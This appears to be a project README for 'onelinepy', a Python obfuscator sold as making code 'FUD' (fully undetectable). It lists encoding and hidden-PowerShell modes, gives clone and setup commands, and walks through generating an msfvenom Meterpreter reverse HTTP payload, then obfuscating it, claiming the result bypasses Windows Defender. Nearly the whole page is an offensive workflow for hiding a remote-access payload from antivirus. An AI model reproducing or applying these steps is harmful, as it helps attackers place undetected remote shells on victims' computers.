onelinepy: Python Obfuscator for FUD Python Code
onelinepy
Python Obfuscator for FUD Python Code.
Obfuscation Method List
Obfustucators ( * = May cause Syntax Errors )
-=============-
0 /one_line/hex
1 /one_line/base64
2 /one_line/base32
3 /one_line/gunzip*
4 /one_line/rot13*
5 /cmd/command
6 /cmd/powershell
7 /cmd/powershellhidden
Download & Run
git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy
Use
Example: Creating FUD Meterpreter Python Payload
- Generate Python Payload:
msfvenom –payload python/meterpreter_reverse_http LHOST=… LPORT=… > payload.txt
- Obfustucate Payload
onelinepy -m /one_line/base64 –script payload.txt -i 3 –output obfustucated_payload.txt
- Profit! The Obfustucated Payload works against Windows Defender.
More Examples
onelinepy -m /one_line/base64 –script payload.py -i 3
onelinepy -m /one_line/hex –code “print(‘HEX!’)”
Copyright (c) 2021 spicesouls
Source: https://github.com/spicesouls/